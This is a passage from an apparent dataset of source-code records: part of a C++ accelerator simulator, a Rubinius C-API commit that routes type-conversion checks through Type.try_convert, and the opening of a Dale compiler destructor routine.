spmv_arrays;\n            else if (accelId == 0x00000060)\n                names = fft_arrays;\n            else\n                fatal(\"Unknown accelerator id %d\", accelId);\n\n            for (uint64_t i = 0; i < ctx.msg.array_count; ++i)\n                addArray(names[i], ctx.msg.arrays[i].addr, ctx.msg.arrays[i].size);\n            system->activateAccelerator(accelId, 0x1000, 0, 0, ctx.trace_off);\n\n            pkt = nullptr;\n            break;\n        }\n\n        case State::STORE_REPLY:\n        {\n            pkt = createPacket(BUF_ADDR,\n                               sizeof(reply.msg),\n                               MemCmd::WriteReq);\n            memcpy(pkt->getPtr<uint8_t>(), (char*)&reply.msg, sizeof(reply.msg));\n            break;\n        }\n        case State::SEND_REPLY:\n        {\n            pkt = createDtuCmdPkt(Dtu::Command::REPLY,\n                                  EP_RECV,\n                                  BUF_ADDR,\n                                  sizeof(reply.msg),\n                                  ctx.msgAddr);\n            break;\n        }\n        case State::REPLY_WAIT:\n        {\n            Addr regAddr = getRegAddr(CmdReg::COMMAND);\n            pkt = createDtuRegPkt(regAddr, 0, MemCmd::ReadReq);\n            break;\n        }\n        case State::REPLY_ERROR:\n        {\n            reply.sys.opcode = SyscallSM::Operation::FORWARD_REPLY;\n            reply.sys.cap = CAP_RBUF;\n            reply.sys.msgaddr = ctx.msgAddr;\n            reply.sys.event = 0;\n            reply.sys.len = sizeof(reply.msg);\n            reply.sys.event = 0;\n\n            pkt = createPacket(BUF_ADDR, sizeof(reply), MemCmd::WriteReq);\n            memcpy(pkt->getPtr<void>(), &reply, sizeof(reply));\n            break;\n        }\n\n        case State::SYSCALL:\n        {\n            pkt = sysc.tick();\n            break;\n        }\n    }\n\n    if (pkt != nullptr)\n    {\n        memPending = true;\n        sendPkt(pkt);\n    }\n}\n\nDtuAccelAladdin*\nDtuAccelAladdinParams::create()\n{\n    return new DtuAccelAladdin(this);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"builtin\/compactlookuptable.hpp\"\n#include \"builtin\/lookuptable.hpp\"\n#include \"builtin\/object.hpp\"\n#include \"builtin\/string.hpp\"\n#include \"builtin\/symbol.hpp\"\n\n#include \"capi\/capi.hpp\"\n#include \"capi\/18\/include\/ruby.h\"\n\n#include \"configuration.hpp\"\n\nusing namespace rubinius;\nusing namespace rubinius::capi;\n\nextern \"C\" {\n\n  void rb_error_frozen(const char* what) {\n    if(LANGUAGE_18_ENABLED(NativeMethodEnvironment::get()->state())){\n      rb_raise(rb_eTypeError, \"can't modify frozen %s\", what);\n    } else {\n      rb_raise(rb_eRuntimeError, \"can't modify frozen %s\", what);\n    }\n  }\n\n  VALUE rb_obj_frozen_p(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    if(env->get_object(obj)->frozen_p(env->state()) == RBX_Qtrue) {\n      return Qtrue;\n    }\n\n    return Qfalse;\n  }\n\n  void rb_check_frozen(VALUE obj_handle) {\n    if(rb_obj_frozen_p(obj_handle)){\n      const char *class_name = rb_obj_classname(obj_handle);\n      rb_error_frozen(class_name);\n    }\n  }\n\n  VALUE rb_obj_freeze(VALUE hndl) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    env->get_object(hndl)->freeze(env->state());\n    return hndl;\n  }\n\n  \/\/ Copied from MRI\n  static struct types {\n    int type;\n    const char *name;\n  } builtin_types[] = {\n    {T_NIL,      \"nil\"},\n    {T_OBJECT,  \"Object\"},\n    {T_CLASS,    \"Class\"},\n    {T_ICLASS,  \"iClass\"},    \/* internal use: mixed-in module holder *\/\n    {T_MODULE,  \"Module\"},\n    {T_FLOAT,   \"Float\"},\n    {T_STRING,  \"String\"},\n    {T_REGEXP,  \"Regexp\"},\n    {T_ARRAY,   \"Array\"},\n    {T_FIXNUM,  \"Fixnum\"},\n    {T_HASH,    \"Hash\"},\n    {T_STRUCT,  \"Struct\"},\n    {T_BIGNUM,  \"Bignum\"},\n    {T_FILE,    \"File\"},\n    {T_TRUE,    \"true\"},\n    {T_FALSE,   \"false\"},\n    {T_SYMBOL,  \"Symbol\"},    \/* :symbol *\/\n    {T_DATA,    \"Data\"},      \/* internal use: wrapped C pointers *\/\n    {T_MATCH,   \"MatchData\"}, \/* data of $~ *\/\n    {T_VARMAP,  \"Varmap\"},    \/* internal use: dynamic variables *\/\n    {T_SCOPE,   \"Scope\"},     \/* internal use: variable scope *\/\n    {T_NODE,    \"Node\"},      \/* internal use: syntax tree node *\/\n    {T_UNDEF,   \"undef\"},     \/* internal use: #undef; should not happen *\/\n    {T_RATIONAL, \"Rational\" },\n    {T_COMPLEX,  \"Complex\" },\n    {-1,  0}\n  };\n\n  \/\/ Copied from MRI\n  void rb_check_type(VALUE x, int t) {\n    struct types *type = builtin_types;\n\n    if (x == Qundef) {\n      rb_bug(\"undef leaked to the Ruby space\");\n    }\n\n    if (TYPE(x) != t) {\n      while (type->type >= 0) {\n        if (type->type == t) {\n          const char *etype;\n\n          if (NIL_P(x)) {\n            etype = \"nil\";\n          } else if (FIXNUM_P(x)) {\n            etype = \"Fixnum\";\n          } else if (SYMBOL_P(x)) {\n            etype = \"Symbol\";\n          } else if (rb_special_const_p(x)) {\n            etype = RSTRING_PTR(rb_obj_as_string(x));\n          } else {\n            etype = rb_obj_classname(x);\n          }\n\n          rb_raise(rb_eTypeError, \"wrong argument type %s (expected %s)\",\n              etype, type->name);\n        }\n        type++;\n      }\n\n      rb_raise(rb_eRuntimeError, \"unknown type 0x%x\", t);\n    }\n  }\n\n  VALUE rb_check_array_type(VALUE object_handle) {\n    return rb_check_convert_type(object_handle, 0, \"Array\", \"to_ary\");\n  }\n\n  VALUE rb_check_string_type(VALUE object_handle) {\n    return rb_check_convert_type(object_handle, 0, \"String\", \"to_str\");\n  }\n\n  VALUE rb_check_convert_type(VALUE object_handle, int \/*type*\/,\n                              const char* type_name, const char* method_name)\n  {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    VALUE name = env->get_handle(String::create(env->state(), method_name));\n\n    if(RTEST(rb_funcall(object_handle, rb_intern(\"respond_to?\"), 1, name)) ) {\n      return rb_funcall2(object_handle, rb_intern(method_name), 0, NULL);\n    }\n\n    return Qnil;\n  }\n\n  VALUE rb_check_to_integer(VALUE object_handle, const char *method_name) {\n    if(FIXNUM_P(object_handle)) {\n      return object_handle;\n    }\n    VALUE result = rb_check_convert_type(object_handle, 0, \"Integer\", method_name);\n    if(rb_obj_is_kind_of(result, rb_cInteger)) {\n      return result;\n    }\n    return Qnil;\n  }\n\n  \/** @todo   This is horrible. Refactor. --rue *\/\n  VALUE rb_convert_type(VALUE object_handle, int type,\n                        const char* type_name, const char* method_name)\n  {\n    VALUE return_handle = rb_check_convert_type(object_handle, type,\n                                                type_name, method_name);\n\n    if(NIL_P(return_handle)) {\n      rb_raise(rb_eTypeError, \"can't convert %s into %s\",\n               RBX_NIL_P(object_handle) ? \"nil\" :\n                RBX_TRUE_P(object_handle) ? \"true\" :\n                  RBX_FALSE_P(object_handle) ? \"false\" :\n                    rb_obj_classname(object_handle),\n               type_name);\n    }\n\n    VALUE klass = rb_const_get(rb_cObject, rb_intern(type_name));\n\n    if(!RTEST(rb_obj_is_kind_of(return_handle, klass))) {\n      rb_raise(rb_eTypeError, \"%s#%s should return %s\",\n               rb_obj_classname(object_handle), method_name, type_name);\n    }\n\n    return return_handle;\n  }\n\n  int rb_type(VALUE obj) {\n    if (FIXNUM_P(obj)) return T_FIXNUM;\n    if (obj == Qnil) return T_NIL;\n    if (obj == Qfalse) return T_FALSE;\n    if (obj == Qtrue) return T_TRUE;\n    if (obj == Qundef) return T_UNDEF;\n    if (SYMBOL_P(obj)) return T_SYMBOL;\n\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Object* object = env->get_object(obj);\n    switch(object->type_id()) {\n    case ArrayType:\n      return T_ARRAY;\n    case BignumType:\n      return T_BIGNUM;\n    case ClassType:\n      return T_CLASS;\n    case DataType:\n      return T_DATA;\n    case FloatType:\n      return T_FLOAT;\n    case ModuleType:\n      return T_MODULE;\n    case RegexpType:\n      return T_REGEXP;\n    case StringType:\n      return T_STRING;\n    case TimeType:\n      return T_DATA;\n    default:\n      \/\/ This is in the default branch to avoid compiler warnings\n      \/\/ about other enum values for type_id() not being present.\n      if(rb_obj_is_kind_of(obj, rb_cHash)) return T_HASH;\n      if(rb_obj_is_kind_of(obj, rb_cStruct)) return T_STRUCT;\n      if(rb_obj_is_kind_of(obj, rb_cIO)) return T_FILE;\n      if(rb_obj_is_kind_of(obj, rb_cMatch)) return T_MATCH;\n      if(!LANGUAGE_18_ENABLED(env->state())) {\n        if(rb_obj_is_kind_of(obj, rb_cRational)) return T_RATIONAL;\n        if(rb_obj_is_kind_of(obj, rb_cComplex)) return T_COMPLEX;\n        if(rb_obj_is_kind_of(obj, rb_cEncoding)) return T_ENCODING;\n      }\n    }\n\n    return T_OBJECT;\n  }\n\n  ID rb_to_id(VALUE object_handle) {\n    return SYM2ID(rb_funcall2(object_handle, rb_intern(\"to_sym\"), 0, NULL));\n  }\n\n  VALUE rb_obj_alloc(VALUE class_handle) {\n    return rb_funcall(class_handle, rb_intern(\"allocate\"), 0);\n  }\n\n  VALUE rb_obj_dup(VALUE obj) {\n    if(rb_special_const_p(obj))\n      rb_raise(rb_eTypeError, \"can't dup %s\", rb_obj_classname(obj));\n\n    return rb_funcall(obj, rb_intern(\"dup\"), 0);\n  }\n\n  VALUE rb_obj_as_string(VALUE obj_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* object = env->get_object(obj_handle);\n\n    if (kind_of<String>(object)) {\n      return obj_handle;\n    }\n\n    return rb_funcall2(obj_handle, rb_intern(\"to_s\"), 0, NULL);\n  }\n\n  VALUE rb_obj_clone(VALUE obj_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    env->flush_cached_data();\n    return rb_funcall(obj_handle, rb_intern(\"clone\"), 0);\n  }\n\n  VALUE rb_inspect(VALUE obj_handle) {\n    return rb_obj_as_string(rb_funcall(obj_handle, rb_intern(\"inspect\"), 0, NULL));\n  }\n\n  void rb_obj_call_init(VALUE object_handle, int arg_count, VALUE* args) {\n    (void) rb_funcall2(object_handle, rb_intern(\"initialize\"), arg_count, args);\n  }\n\n  const char* rb_obj_classname(VALUE object_handle) {\n    return rb_class2name(rb_class_of(object_handle));\n  }\n\n  VALUE rb_obj_is_instance_of(VALUE object_handle, VALUE class_handle) {\n    return rb_funcall(object_handle, rb_intern(\"instance_of?\"), 1, class_handle);\n  }\n\n  VALUE rb_obj_is_kind_of(VALUE object_handle, VALUE module_handle) {\n    return rb_funcall(object_handle, rb_intern(\"kind_of?\"), 1, module_handle);\n  }\n\n  ID rb_intern(const char* string) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return reinterpret_cast<ID>(env->state()->symbol(string));\n  }\n\n  VALUE rb_iv_get(VALUE self_handle, const char* name) {\n    return rb_ivar_get(self_handle, rb_intern(name));\n  }\n\n  VALUE rb_iv_set(VALUE self_handle, const char* name, VALUE value) {\n    return rb_ivar_set(self_handle, rb_intern(name), value);\n  }\n\n  VALUE rb_ivar_get(VALUE self_handle, ID ivar_name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* object = env->get_object(self_handle);\n\n    Symbol* sym = reinterpret_cast<Symbol*>(ivar_name);\n    return env->get_handle(object->get_ivar(env->state(), sym));\n  }\n\n  VALUE rb_ivar_set(VALUE self_handle, ID ivar_name, VALUE value) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* receiver = env->get_object(self_handle);\n\n    Symbol* sym = reinterpret_cast<Symbol*>(ivar_name);\n    receiver->set_ivar(env->state(), sym,\n                       env->get_object(value));\n\n    return value;\n  }\n\n  VALUE rb_ivar_defined(VALUE obj_handle, ID ivar_name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Symbol* ivar = reinterpret_cast<Symbol*>(ivar_name);\n    Object* obj = env->get_object(obj_handle);\n    Object* ret = obj->ivar_defined(env->state(), ivar);\n\n    return env->get_handle(ret);\n  }\n\n  VALUE rb_attr_get(VALUE obj_handle, ID attr_name) {\n    return rb_ivar_get(obj_handle, attr_name);\n  }\n\n  int rb_respond_to(VALUE obj_handle, ID method_name) {\n    return RTEST(rb_funcall(obj_handle, rb_intern(\"respond_to?\"),\n          1, ID2SYM(method_name)));\n  }\n\n  void rb_extend_object(VALUE obj, VALUE mod) {\n    rb_funcall(obj, rb_intern(\"extend\"), 1, mod);\n  }\n\n  VALUE rb_obj_id(VALUE self) {\n    return rb_funcall(self, rb_intern(\"object_id\"), 0);\n  }\n\n  VALUE rb_obj_taint(VALUE obj) {\n    if(!OBJ_TAINTED(obj)) {\n      rb_check_frozen(obj);\n      OBJ_TAINT(obj);\n    }\n\n    return obj;\n  }\n\n  void rb_check_safe_obj(VALUE obj) {\n  }\n\n  void rb_check_safe_str(VALUE obj) {\n  }\n\n  void rb_secure_update(VALUE obj) {\n  }\n\n  VALUE rb_any_to_s(VALUE obj) {\n    return rb_obj_as_string(obj);\n  }\n\n  VALUE rb_obj_instance_eval(int argc, VALUE* argv, VALUE self) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    VALUE block = env->get_handle(env->block());\n\n    return rb_funcall2b(self, rb_intern(\"instance_eval\"), argc,\n                        (const VALUE*)argv, block);\n  }\n\n  VALUE rb_to_int(VALUE object_handle) {\n    return rb_convert_type(object_handle, 0, \"Integer\", \"to_int\");\n  }\n\n  VALUE rb_hash(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* hash = env->get_object(rb_funcall(obj, rb_intern(\"hash\"), 0));\n\n    retry:\n\n    if(try_as<Fixnum>(hash)) {\n      return env->get_handle(hash);\n    } else if(Bignum* big = try_as<Bignum>(hash)) {\n      return LONG2FIX(big->to_native());\n    } else {\n      hash = env->get_object(rb_to_int(env->get_handle(hash)));\n      goto retry;\n    }\n  }\n\n  VALUE rb_equal(VALUE obj1, VALUE obj2) {\n    if(obj1 == obj2) return Qtrue;\n    VALUE result = rb_funcall(obj1, rb_intern(\"==\"), 1, obj2);\n    if(RTEST(result)) return Qtrue;\n    return Qfalse;\n  }\n\n  VALUE rb_class_inherited_p(VALUE mod, VALUE arg) {\n    if(TYPE(arg) != T_MODULE && TYPE(arg) != T_CLASS) {\n      rb_raise(rb_eTypeError, \"compared with non class\/module\");\n    }\n\n    return rb_funcall(mod, rb_intern(\"<=\"), 1, arg);\n  }\n\n  int rb_obj_respond_to(VALUE obj, ID method_name, int priv) {\n    VALUE include_private = priv == 1 ? Qtrue : Qfalse;\n    return RTEST(rb_funcall(obj, rb_intern(\"respond_to?\"), 2, ID2SYM(method_name), include_private));\n  }\n}\n<commit_msg>Forward rb_check_{array,string}_type to Rubinius::Type.try_convert<commit_after>#include \"builtin\/compactlookuptable.hpp\"\n#include \"builtin\/lookuptable.hpp\"\n#include \"builtin\/object.hpp\"\n#include \"builtin\/string.hpp\"\n#include \"builtin\/symbol.hpp\"\n\n#include \"capi\/capi.hpp\"\n#include \"capi\/18\/include\/ruby.h\"\n\n#include \"configuration.hpp\"\n\nusing namespace rubinius;\nusing namespace rubinius::capi;\n\nextern \"C\" {\n\n  void rb_error_frozen(const char* what) {\n    if(LANGUAGE_18_ENABLED(NativeMethodEnvironment::get()->state())){\n      rb_raise(rb_eTypeError, \"can't modify frozen %s\", what);\n    } else {\n      rb_raise(rb_eRuntimeError, \"can't modify frozen %s\", what);\n    }\n  }\n\n  VALUE rb_obj_frozen_p(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    if(env->get_object(obj)->frozen_p(env->state()) == RBX_Qtrue) {\n      return Qtrue;\n    }\n\n    return Qfalse;\n  }\n\n  void rb_check_frozen(VALUE obj_handle) {\n    if(rb_obj_frozen_p(obj_handle)){\n      const char *class_name = rb_obj_classname(obj_handle);\n      rb_error_frozen(class_name);\n    }\n  }\n\n  VALUE rb_obj_freeze(VALUE hndl) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    env->get_object(hndl)->freeze(env->state());\n    return hndl;\n  }\n\n  \/\/ Copied from MRI\n  static struct types {\n    int type;\n    const char *name;\n  } builtin_types[] = {\n    {T_NIL,      \"nil\"},\n    {T_OBJECT,  \"Object\"},\n    {T_CLASS,    \"Class\"},\n    {T_ICLASS,  \"iClass\"},    \/* internal use: mixed-in module holder *\/\n    {T_MODULE,  \"Module\"},\n    {T_FLOAT,   \"Float\"},\n    {T_STRING,  \"String\"},\n    {T_REGEXP,  \"Regexp\"},\n    {T_ARRAY,   \"Array\"},\n    {T_FIXNUM,  \"Fixnum\"},\n    {T_HASH,    \"Hash\"},\n    {T_STRUCT,  \"Struct\"},\n    {T_BIGNUM,  \"Bignum\"},\n    {T_FILE,    \"File\"},\n    {T_TRUE,    \"true\"},\n    {T_FALSE,   \"false\"},\n    {T_SYMBOL,  \"Symbol\"},    \/* :symbol *\/\n    {T_DATA,    \"Data\"},      \/* internal use: wrapped C pointers *\/\n    {T_MATCH,   \"MatchData\"}, \/* data of $~ *\/\n    {T_VARMAP,  \"Varmap\"},    \/* internal use: dynamic variables *\/\n    {T_SCOPE,   \"Scope\"},     \/* internal use: variable scope *\/\n    {T_NODE,    \"Node\"},      \/* internal use: syntax tree node *\/\n    {T_UNDEF,   \"undef\"},     \/* internal use: #undef; should not happen *\/\n    {T_RATIONAL, \"Rational\" },\n    {T_COMPLEX,  \"Complex\" },\n    {-1,  0}\n  };\n\n  \/\/ Copied from MRI\n  void rb_check_type(VALUE x, int t) {\n    struct types *type = builtin_types;\n\n    if (x == Qundef) {\n      rb_bug(\"undef leaked to the Ruby space\");\n    }\n\n    if (TYPE(x) != t) {\n      while (type->type >= 0) {\n        if (type->type == t) {\n          const char *etype;\n\n          if (NIL_P(x)) {\n            etype = \"nil\";\n          } else if (FIXNUM_P(x)) {\n            etype = \"Fixnum\";\n          } else if (SYMBOL_P(x)) {\n            etype = \"Symbol\";\n          } else if (rb_special_const_p(x)) {\n            etype = RSTRING_PTR(rb_obj_as_string(x));\n          } else {\n            etype = rb_obj_classname(x);\n          }\n\n          rb_raise(rb_eTypeError, \"wrong argument type %s (expected %s)\",\n              etype, type->name);\n        }\n        type++;\n      }\n\n      rb_raise(rb_eRuntimeError, \"unknown type 0x%x\", t);\n    }\n  }\n\n  VALUE rb_check_array_type(VALUE object_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    return rb_funcall(env->get_handle(env->state()->globals().type.get()), rb_intern(\"try_convert\"), 3, object_handle, rb_cArray, rb_intern(\"to_ary\"));\n  }\n\n  VALUE rb_check_string_type(VALUE object_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    return rb_funcall(env->get_handle(env->state()->globals().type.get()), rb_intern(\"try_convert\"), 3, object_handle, rb_cString, rb_intern(\"to_str\"));\n  }\n\n  VALUE rb_check_convert_type(VALUE object_handle, int \/*type*\/,\n                              const char* type_name, const char* method_name)\n  {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    VALUE name = env->get_handle(String::create(env->state(), method_name));\n\n    if(RTEST(rb_funcall(object_handle, rb_intern(\"respond_to?\"), 1, name)) ) {\n      return rb_funcall2(object_handle, rb_intern(method_name), 0, NULL);\n    }\n\n    return Qnil;\n  }\n\n  VALUE rb_check_to_integer(VALUE object_handle, const char *method_name) {\n    if(FIXNUM_P(object_handle)) {\n      return object_handle;\n    }\n    VALUE result = rb_check_convert_type(object_handle, 0, \"Integer\", method_name);\n    if(rb_obj_is_kind_of(result, rb_cInteger)) {\n      return result;\n    }\n    return Qnil;\n  }\n\n  \/** @todo   This is horrible. Refactor. --rue *\/\n  VALUE rb_convert_type(VALUE object_handle, int type,\n                        const char* type_name, const char* method_name)\n  {\n    VALUE return_handle = rb_check_convert_type(object_handle, type,\n                                                type_name, method_name);\n\n    if(NIL_P(return_handle)) {\n      rb_raise(rb_eTypeError, \"can't convert %s into %s\",\n               RBX_NIL_P(object_handle) ? \"nil\" :\n                RBX_TRUE_P(object_handle) ? \"true\" :\n                  RBX_FALSE_P(object_handle) ? \"false\" :\n                    rb_obj_classname(object_handle),\n               type_name);\n    }\n\n    VALUE klass = rb_const_get(rb_cObject, rb_intern(type_name));\n\n    if(!RTEST(rb_obj_is_kind_of(return_handle, klass))) {\n      rb_raise(rb_eTypeError, \"%s#%s should return %s\",\n               rb_obj_classname(object_handle), method_name, type_name);\n    }\n\n    return return_handle;\n  }\n\n  int rb_type(VALUE obj) {\n    if (FIXNUM_P(obj)) return T_FIXNUM;\n    if (obj == Qnil) return T_NIL;\n    if (obj == Qfalse) return T_FALSE;\n    if (obj == Qtrue) return T_TRUE;\n    if (obj == Qundef) return T_UNDEF;\n    if (SYMBOL_P(obj)) return T_SYMBOL;\n\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Object* object = env->get_object(obj);\n    switch(object->type_id()) {\n    case ArrayType:\n      return T_ARRAY;\n    case BignumType:\n      return T_BIGNUM;\n    case ClassType:\n      return T_CLASS;\n    case DataType:\n      return T_DATA;\n    case FloatType:\n      return T_FLOAT;\n    case ModuleType:\n      return T_MODULE;\n    case RegexpType:\n      return T_REGEXP;\n    case StringType:\n      return T_STRING;\n    case TimeType:\n      return T_DATA;\n    default:\n      \/\/ This is in the default branch to avoid compiler warnings\n      \/\/ about other enum values for type_id() not being present.\n      if(rb_obj_is_kind_of(obj, rb_cHash)) return T_HASH;\n      if(rb_obj_is_kind_of(obj, rb_cStruct)) return T_STRUCT;\n      if(rb_obj_is_kind_of(obj, rb_cIO)) return T_FILE;\n      if(rb_obj_is_kind_of(obj, rb_cMatch)) return T_MATCH;\n      if(!LANGUAGE_18_ENABLED(env->state())) {\n        if(rb_obj_is_kind_of(obj, rb_cRational)) return T_RATIONAL;\n        if(rb_obj_is_kind_of(obj, rb_cComplex)) return T_COMPLEX;\n        if(rb_obj_is_kind_of(obj, rb_cEncoding)) return T_ENCODING;\n      }\n    }\n\n    return T_OBJECT;\n  }\n\n  ID rb_to_id(VALUE object_handle) {\n    return SYM2ID(rb_funcall2(object_handle, rb_intern(\"to_sym\"), 0, NULL));\n  }\n\n  VALUE rb_obj_alloc(VALUE class_handle) {\n    return rb_funcall(class_handle, rb_intern(\"allocate\"), 0);\n  }\n\n  VALUE rb_obj_dup(VALUE obj) {\n    if(rb_special_const_p(obj))\n      rb_raise(rb_eTypeError, \"can't dup %s\", rb_obj_classname(obj));\n\n    return rb_funcall(obj, rb_intern(\"dup\"), 0);\n  }\n\n  VALUE rb_obj_as_string(VALUE obj_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* object = env->get_object(obj_handle);\n\n    if (kind_of<String>(object)) {\n      return obj_handle;\n    }\n\n    return rb_funcall2(obj_handle, rb_intern(\"to_s\"), 0, NULL);\n  }\n\n  VALUE rb_obj_clone(VALUE obj_handle) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    env->flush_cached_data();\n    return rb_funcall(obj_handle, rb_intern(\"clone\"), 0);\n  }\n\n  VALUE rb_inspect(VALUE obj_handle) {\n    return rb_obj_as_string(rb_funcall(obj_handle, rb_intern(\"inspect\"), 0, NULL));\n  }\n\n  void rb_obj_call_init(VALUE object_handle, int arg_count, VALUE* args) {\n    (void) rb_funcall2(object_handle, rb_intern(\"initialize\"), arg_count, args);\n  }\n\n  const char* rb_obj_classname(VALUE object_handle) {\n    return rb_class2name(rb_class_of(object_handle));\n  }\n\n  VALUE rb_obj_is_instance_of(VALUE object_handle, VALUE class_handle) {\n    return rb_funcall(object_handle, rb_intern(\"instance_of?\"), 1, class_handle);\n  }\n\n  VALUE rb_obj_is_kind_of(VALUE object_handle, VALUE module_handle) {\n    return rb_funcall(object_handle, rb_intern(\"kind_of?\"), 1, module_handle);\n  }\n\n  ID rb_intern(const char* string) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return reinterpret_cast<ID>(env->state()->symbol(string));\n  }\n\n  VALUE rb_iv_get(VALUE self_handle, const char* name) {\n    return rb_ivar_get(self_handle, rb_intern(name));\n  }\n\n  VALUE rb_iv_set(VALUE self_handle, const char* name, VALUE value) {\n    return rb_ivar_set(self_handle, rb_intern(name), value);\n  }\n\n  VALUE rb_ivar_get(VALUE self_handle, ID ivar_name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* object = env->get_object(self_handle);\n\n    Symbol* sym = reinterpret_cast<Symbol*>(ivar_name);\n    return env->get_handle(object->get_ivar(env->state(), sym));\n  }\n\n  VALUE rb_ivar_set(VALUE self_handle, ID ivar_name, VALUE value) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* receiver = env->get_object(self_handle);\n\n    Symbol* sym = reinterpret_cast<Symbol*>(ivar_name);\n    receiver->set_ivar(env->state(), sym,\n                       env->get_object(value));\n\n    return value;\n  }\n\n  VALUE rb_ivar_defined(VALUE obj_handle, ID ivar_name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Symbol* ivar = reinterpret_cast<Symbol*>(ivar_name);\n    Object* obj = env->get_object(obj_handle);\n    Object* ret = obj->ivar_defined(env->state(), ivar);\n\n    return env->get_handle(ret);\n  }\n\n  VALUE rb_attr_get(VALUE obj_handle, ID attr_name) {\n    return rb_ivar_get(obj_handle, attr_name);\n  }\n\n  int rb_respond_to(VALUE obj_handle, ID method_name) {\n    return RTEST(rb_funcall(obj_handle, rb_intern(\"respond_to?\"),\n          1, ID2SYM(method_name)));\n  }\n\n  void rb_extend_object(VALUE obj, VALUE mod) {\n    rb_funcall(obj, rb_intern(\"extend\"), 1, mod);\n  }\n\n  VALUE rb_obj_id(VALUE self) {\n    return rb_funcall(self, rb_intern(\"object_id\"), 0);\n  }\n\n  VALUE rb_obj_taint(VALUE obj) {\n    if(!OBJ_TAINTED(obj)) {\n      rb_check_frozen(obj);\n      OBJ_TAINT(obj);\n    }\n\n    return obj;\n  }\n\n  void rb_check_safe_obj(VALUE obj) {\n  }\n\n  void rb_check_safe_str(VALUE obj) {\n  }\n\n  void rb_secure_update(VALUE obj) {\n  }\n\n  VALUE rb_any_to_s(VALUE obj) {\n    return rb_obj_as_string(obj);\n  }\n\n  VALUE rb_obj_instance_eval(int argc, VALUE* argv, VALUE self) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    VALUE block = env->get_handle(env->block());\n\n    return rb_funcall2b(self, rb_intern(\"instance_eval\"), argc,\n                        (const VALUE*)argv, block);\n  }\n\n  VALUE rb_to_int(VALUE object_handle) {\n    return rb_convert_type(object_handle, 0, \"Integer\", \"to_int\");\n  }\n\n  VALUE rb_hash(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* hash = env->get_object(rb_funcall(obj, rb_intern(\"hash\"), 0));\n\n    retry:\n\n    if(try_as<Fixnum>(hash)) {\n      return env->get_handle(hash);\n    } else if(Bignum* big = try_as<Bignum>(hash)) {\n      return LONG2FIX(big->to_native());\n    } else {\n      hash = env->get_object(rb_to_int(env->get_handle(hash)));\n      goto retry;\n    }\n  }\n\n  VALUE rb_equal(VALUE obj1, VALUE obj2) {\n    if(obj1 == obj2) return Qtrue;\n    VALUE result = rb_funcall(obj1, rb_intern(\"==\"), 1, obj2);\n    if(RTEST(result)) return Qtrue;\n    return Qfalse;\n  }\n\n  VALUE rb_class_inherited_p(VALUE mod, VALUE arg) {\n    if(TYPE(arg) != T_MODULE && TYPE(arg) != T_CLASS) {\n      rb_raise(rb_eTypeError, \"compared with non class\/module\");\n    }\n\n    return rb_funcall(mod, rb_intern(\"<=\"), 1, arg);\n  }\n\n  int rb_obj_respond_to(VALUE obj, ID method_name, int priv) {\n    VALUE include_private = priv == 1 ? Qtrue : Qfalse;\n    return RTEST(rb_funcall(obj, rb_intern(\"respond_to?\"), 2, ID2SYM(method_name), include_private));\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Destruct.h\"\n\nnamespace dale\n{\nnamespace Operation\n{\nbool\nDestruct(Context *ctx, ParseResult *pr, ParseResult *pr_ret,\n         llvm::IRBuilder<> *builder, bool value_is_ptr)\n{\n    pr->copyTo(pr_ret);\n\n    if (pr->do_not_destruct) {\n        return true;\n    }\n\n    assert(pr->type);\n\n    \/* If it's an array with a known size, call this function for\n     * each element in the array in order from last to first. *\/\n    if (pr->type->is_array && pr->type->array_size) {\n        Type *mine =\n            pr->type->array_type;\n        llvm::BasicBlock   *mbl  = pr->block;\n        int i = pr->type->array_size;\n        llvm::Value *actual_value = pr->value;\n        if (!pr->value) {\n            return true;\n        }\n        if (!pr->value->getType()) {\n            return true;\n        }\n\n        std::vector<Type *> types;\n        if (!mine->is_array) {\n            types.push_back(ctx->tr->getPointerType(mine));\n            Function *fn = ctx->getFunction(\"destroy\", &types, NULL, 0);\n            if (!fn) {\n                return true;\n            }\n        }\n\n        \/* Hmph: array literals are stored in the variable table as\n         * actual arrays, rather than pointers to arrays. This should\n         * be fixed at some point, but for now, if this value is not a\n         * pointer, then store it in a temporary location. *\/\n\n        if (!(pr->value->getType()->isPointerTy())) {\n            if (builder) {\n                llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                        builder->CreateAlloca(\n                            ctx->toLLVMType(pr->type, NULL, false))\n                        );\n                builder->CreateStore(pr->value, new_ptr2);\n                actual_value = new_ptr2;\n            } else {\n                llvm::IRBuilder<> builder(mbl);\n                llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                        builder.CreateAlloca(\n                            ctx->toLLVMType(pr->type, 